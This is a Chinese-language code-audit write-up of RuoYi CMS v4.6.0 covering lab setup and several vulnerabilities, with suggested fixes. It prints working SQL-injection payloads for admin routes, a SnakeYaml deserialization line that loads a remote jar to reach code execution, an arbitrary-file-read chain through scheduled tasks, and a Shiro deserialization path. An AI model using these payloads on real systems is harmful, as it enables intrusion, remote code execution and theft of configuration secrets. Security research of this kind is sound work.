# 环境介绍及搭建

操作系统:archLinux

数据库:mysql 5.7.44

JDK:8

Maven:3.0

因为是开源的 cms,而且官方还有对应的文档,这里可以翻阅一下文档

文档连接:https://doc.ruoyi.vip/ruoyi/

1、系统环境

  • Java EE 8
  • Servlet 3.0
  • Apache Maven 3

2、主框架

  • Spring Boot 2.2.x
  • Spring Framework 5.2.x
  • Apache Shiro 1.7

3、持久层

  • Apache MyBatis 3.5.x
  • Hibernate Validation 6.0.x
  • Alibaba Druid 1.2.x

4、视图层

  • Bootstrap 3.3.7
  • Thymeleaf 3.0.x

上面集中服务的安装这里就不再赘述,查阅 arch-aur 即可,这里平台版本选择若依 v4.6.0,通过上面的下载连接将源码下载下来,若依的数据库文件。

image-20240604095645834

这里将这个 ry_20201214.sql 文件给导入数据库中,首先创建一个数据库 ry。

create schema ry collate utf8_bin;

image-20240604101557863

这里编码方式选择 utf8,然后将若依中的数据库文件导入。

use ry;
exit;
mysql -uroot -proot ry < /home/clown/Project/RuoYi-v4.6.0/sql/ry_20201214.sql 
mysql -uroot -proot ry < /home/clown/Project/RuoYi-v4.6.0/sql/quartz.sql

image-20240604105433942

然后检查以下是否成功导入。

image-20240604105346969

这里可以看到已经导入成功了,这样将可以了。然后修改 i 配置文件 application-druid.yml。

image-20240604095543777

根据本地的 mysql 服务修改数据库名和密码。

image-20240604104755811

然后修改 application.yml 文件中的上传文件的上传路径,这里默认的是在 windows 环境下的,推荐的 linux 配置对于仅作测试来说有些繁琐,这里直接将路径写到当前路径下。顺带改一下端口,将默认的 80 改为 8081。

image-20240604103728515

然后对日志存放的路径也做一下修改,同上。

image-20240604103530699

到这里配置将完成了。

image-20240604105541815

可以开始快 (痛) 乐 (苦) 的审计调试了。

# 后台 sql 注入漏洞审计(Mybatis)

# 审计思路

上面对整体的架构做了一个大致的分析,实际上与数据库交互的功能点就很明显了。但是由于若依使用的 Mybatis 框架实现预编译机制,在该机制下,很多的数据库操作都被封装好了,所以基本上不会存在 sql 注入的问题。但是也不是没有机会,在开发人员的安全意识不足时可能会使用 ${} 来代替 #{} 使用,下面介绍以下两种参数符号

  • #{} 使用预编译,通过 PreparedStatement 和占位符来实现,会把参数部分用一个占位符 ? 替代,而后注入的参数将不会再进行 SQL 编译,而是当作字符串处理。
  • ${} 表示使用拼接字符串,将接受到参数的内容不加任何修饰符拼接在 SQL 中。

很显然,二者的区别就是 ${} 是拼接,那么及很可能导致 sql 注入漏洞的产生。那么思路也及很简单,我们可以去 mapper.xml 文件查找 ${} 来找机会将我们的语句拼接到正常的 sql 语句中执行来达到 slq 注入攻击的目的

这里将 mapper 文件复制一份用 vscode 打开,然后检索一下那些地方使用的是 ${} 然后在你想找到调用的接口

image-20240605193821012

这些地方都是可能存在 sql 注入的地方,这里找到对应的函数。一个好用的小插件 MyBatisX,找到对应的接口

# 代码分析

# SysRoleMapper

首先找这个只有一个 ${} 的 mapper 文件

image-20240605205214435

根据 id 可以判断,这个查询是用来查询 role 列表的。通过这个 MyBatisx 工具来找到对应的接口

image-20240605205409679

这里可以看到在该项目中有两次相关引用

image-20240605205941464

这里看一下这个引用

image-20240605210502522

一个分页查询的功能点,不过这个地方的相关引用有三个

image-20240605213351408

首先看第一个相关引用。第一个引用

image-20240605211023286

第二个相关引用,这里参数是传入的说明可用。第二个引用

image-20240605211058831

也在同级这里,这里参数是传入的说明可用。第三个引用

image-20240605211936531

这里查询全部,也就是参数不可控,所以这里不考虑。

# SysDeptMapper

看第一个文件 SysDeptMapper.xml 文件,这个文件有两个 ${} 的地方

image-20240605214728860

先看这个 selectDeptList,也是一个查询的功能这里通过插件找到对应的接口

image-20240605214822453

这里有四个相关引用

image-20240605214927223

这里分别查看前面三个引用。第一关引用

image-20240605214958086

到 server 层,这里有两个引用

image-20240605215103752

查看这里的控制层的调用

image-20240605215140171

这里的参数也是可控的。接着查看第二高 service 层的引用

image-20240605215323896

这里接着看引用

image-20240605215352201

在这个加载角色部门数据权限列表树这个地方可用看到将我们传入的不会直接带入,而是重新实例化了一个对象。然后 mapper 的第二个调用这里

image-20240605215532351

这里是查询部门信息的地方,接着找 controller 层的调用

image-20240605215554432

这里可用看到传入的信息是不可控的,所以这里也不考虑使用。然后找到第三个对 mapper 接口引用的地方

image-20240605215740437

然后这里 service 的调用,这里是根据 deptid 来查询部门,所以这里也没有利用的可能,所以不考虑。然后该文件第二个使用 ${}

image-20240605220425770

这里可以看到,这个地方的功能大概是更新部门状态的数据库操作,还是通过插件看到对应的接口

image-20240605221031946

这里可用看到有两个引用,下面来看一下两个相关引用

image-20240605221215918

这里直接看这个 service 层的引用

image-20240605221346492

这里及只有一个引用,直接找到对应的 controller 层的引用

image-20240605221601956

这里参数也是可控的,可用尝试

# 5.2.3 SysUserMapper

最后一个文件的第一个地方

image-20240605222912961

这里通过 MyBatisX 插件来找到对应的 mapper 层接口

image-20240605223104873

这里可用看到在 controller 层有两个调用了这个方法

image-20240605223431435

第二个地方

image-20240605223529409

和上面的角色管理相同,都是在一起的。然后在 xml 文件中的第二处

image-20240605223626296

这个 sql 语句是为了查询未已配用户角色列表,对应的 mapper 层接口

image-20240605223724783

这里也是两个相关引用,直接找到 service 层的引用

image-20240605223831178

这里只有应该相关的引用,对应的 controller 层的调用

image-20240605223908475

参数可用,存在 sql 注入可以尝试一下。最后一个 ${}

image-20240605224538354

还是找到 mapper 的接口

image-20240605225325312

引用的 service 层

image-20240605225343646

同样是只有一个,直接到 controller 层

image-20240605225417158

# 漏洞验证

# system/role/list

image-20240605211023286

第一个漏洞点,这里是一个角色的查询的功能,对应的路由在 system/role/list。

image-20240605205214435

根据 xml 文件我们需要控制的参数是这个 params.dataScope,我们传入的是一个 SysRole 类对象

image-20240605232502695

在这个类对象中没有 dataScope 参数,这个 dataScope 参数是从 BaseEntity 继承来的

image-20240605232558045

BaseEntity 中可以看到定义了一个 HashMap 可接收键值对,因此我们才能注入参数 params[dataScope]

在参数获取这里下断点进行调试,如下图所示

image-20240605233000213

这里只需要看一个这一个参数能后控制即可,所以直接传入下面这个值来调试

image-20240605233151271

image-20240605233307088

这里可以看到,传入的参数被 HashMap 正常解析

image-20240605234005953

这里会将报错直接回显到页面上,所以可以报错注入,payload

params[dataScope]=and+extractvalue(1,concat(0x7e,(select+version()),0x7e))

image-20240605234107790

或者时间注入 payload:

&params[dataScope]=and if(substring((select user()),1,4)='root',sleep(5),1)

image-20240605234524193

# system/role/export

漏洞成因同上,验证如下

image-20240606000139192

image-20240605235710470

# system/dept/list

漏洞成因同上,验证如下

image-20240606000058274

image-20240606000031524

# system/dept/edit

根据 xml 文件

image-20240605220425770

这里可控的参数是 ancestors,括号闭合,还是报错注入

payload:

DeptName=xxxxxxxxxxx&DeptId=100&ParentId=555&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat(0,(select user()))));#

image-20240606000601852

# system/user/list

根据 xml 文件,这里的可控参数是 dataScope

image-20240605222912961

和前面的里有两个方式相同

image-20240606001004633

# system/user/export

漏洞验证如下

image-20240606001215945

# system/role/authUser/unallocatedList

image-20240606001408823

# 漏洞修复

针对报错注入可以选择将错误回显关闭,对于时间注入可以选择增加黑白名单

image-20240605235158339

在这个位置加上一个代码逻辑

image-20240605235224174

方法具体代码如下

/**
     * 拼接权限 sql 前先清空 params.dataScope 参数防止注入
     */
    private void clearDataScope(final JoinPoint joinPoint)
    {
        Object params = joinPoint.getArgs()[0];
        if (StringUtils.isNotNull(params) && params instanceof BaseEntity)
        {
            BaseEntity baseEntity = (BaseEntity) params;
            baseEntity.getParams().put(DATA_SCOPE, "");
        }
    }

@Before(“dataScopePointCut()”) 这行代码定义了一个前置处理,会在每个 dataScopePointCut 切点指向的方法执行前运行。然后这里会将这个 dataScope 值清空来防止 sql 注入

# 定时任务远程 RCE 漏洞(SnakeYaml 反序列化)

# 审计思路

探测功能过程中发现这个定时任务的功能这里可以调用 bean 或者 class 类

image-20240606160400179

如果这里可以调用任意的类比如说 runtime,我们就能执行命令。

SnakeYaml 反序列化通常只要是引用了 SnakeYaml 包的项目都存在反序列化的问题,这里查看这个 pox 文件

image-20240606154815902

发现这里存在 yml 解析器也可以尝试利用

# 代码分析

首先找到路由

image-20240606160622474

调度的执行位置在这个 run 路由下,可以看到这里实际上是引用了 service 层的 jobService.run 方法

image-20240606160734149

这里是一个接口,下面找到具体的实现方法

image-20240606160807474

发现该方法只是将 job 参数进行了一些封装。然后就提交到了线程池异步执行。这里以调试模式启动,然后执行一次

image-20240606161050349

将断点下载这个调用的方法这里,然后使得该方法调用一次

image-20240606161231044

具体看一下

image-20240606161728242

可以看到,该方法通过 sysJob.getInvokeTarget (); 获取调用目标字符串,也就是我们输入的内容。

image-20240606161803590

然后通过 getBeanName (invokeTarget) 获取要调用的类全限定名。

image-20240606161843916

通过 getMethodName (invokeTarget); 获取要调用的方法名。

image-20240606161854947

通过 getMethodParams (invokeTarget); 获取参数。

image-20240606161919897

接下来就通过反射来调用目标代码。到这里可以了解该漏洞就是可以调用任意类的任意方法,但是要注意调用目标类必须有一个无参构造函数,所以直接调用 Runtime 是不可行的。比较简单的利用方式可以通过 jndi 来执行任意代码,但是要注意 jndi 版本限制。

# 漏洞验证

下载 payload:https://github.com/artsploit/yaml-payload

然后修改 AwesomeScriptEngineFactory.java 文件

image-20240606152347993

这里替换为具体要注入的命令,然后在 payload 项目跟目录创建一个 yml 文件

image-20240606152500437

这里的地址是目标主机远程访问的地址

javac src/artsploit/AwesomeScriptEngineFactory.java
jar cvf yaml-payload.jar -C src/  .

image-20240606152706390

将 payload 项目打包为 jar 文件,然后将 jar 包放到目标主机可访问的主机上开启一个 http 服务

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]]]]')

然后进入若依后台,添加一个计划任务。

image-20240606152904099

image-20240606153043903

# 漏洞修复

将可用协议禁用,设置黑名单

image-20240606153240493

# 任意文件下载漏洞

# 审计思路

image-20240606164016587

这个地方可以下载文件,但是对文件路径有限制,前面整体功能点分析的点

image-20240606160400179

如果这里可以调用类对配置做一些修改来达到任意文件下载的目的

# 代码分析

image-20240606164137930

在这个判断位置开始调试

image-20240606164451359

然后发包开始调试

image-20240606164506018

这里通过 resource 获取到我们要下载的文件名,然后会向经过一次判断

image-20240606164606564

然后在这里做了两个检查,一个是检查.. 来防止目录穿越,一个是检查后缀。

image-20240606164648974

通过白名单的方式。这里向满足其条件来看后面的流程

image-20240606164734473

这里就可以尝试一下了

image-20240606164913357

这里可以看到,通过了前面的检测,然后获取本地资源路径。后面就是下载了,但是这里有三个问题,一个是后缀名白名单,一个是路径无法选择。

image-20240606160400179

然后这里是可以调用任意内和方法的,看到上面获取本地资源的地方

image-20240606165151672

这里不仅有 get 方法,还有 set 方法,所以路径可以通过任务来控制

# 漏洞验证

首先创建定时任务

ruoYiConfig.setProfile('/home/clown/Project/RuoYi-v4.6.0/ruoyi-admin/src/main/resources/application.yml')

image-20240606170824744

然后直接访问

/common/download/resource?resource=.zip

image-20240606170838772

然后及可以看到文件内容

image-20240606170920890

# 漏洞修复

实际上还是定时任务的原因

image-20240606171003188

限制定时任务的可用访问

image-20240606171026206

# Shiro 反序列化

# 审计思路

若依这个 cms 中认证,授权,加密,以及用户的会话管理是通过 Shiro 来实现的。shiro 的反序列化漏洞距离利用只缺一个 key。但是我们可以通过前面文件下载的方式获取到 key

# 代码分析

image-20240606171636191

Shiro 中获取 Remember 字段的方法 DefaultSecurityManager#getRememberedIdentity,这里下断点调试一下

image-20240606171344398

删除 sessionid, 使得若依使用 Remember 来认证身份

image-20240606171738387

然后这里将字节转换为主体

image-20240606171822668

最后在这里做了一次反序列化

# 漏洞验证

image-20240606172049690

# 漏洞修复

实际上还是定时任务的原因

image-20240606171003188

限制定时人物的可用访问

image-20240606171026206